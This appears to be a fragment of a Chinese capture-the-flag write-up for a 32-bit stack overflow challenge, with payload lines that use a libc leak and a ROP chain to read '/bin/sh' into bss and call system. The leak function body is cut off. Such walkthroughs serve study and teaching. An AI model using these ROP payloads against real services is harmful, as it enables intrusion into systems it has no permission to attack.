为栈溢出,溢出点为buf,长度0x6C,read可输入0x100。溢出偏移为112。
1 | read(0, &buf, 0x100u); // buf length: 0x6C |
因为无libc,因此需要通过泄漏获取libc信息来获取system
函数地址:
1 | def leak(address): |
接着调用start
函数恢复栈:
1 | payload = 'a' * 112 + p32(start_addr) |
调用read函数输入”/bin/sh”字符串,最后调用system
函数:
1 | payload = 'a' * 112 + p32(read_plt) + p32(0x804856c) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr) |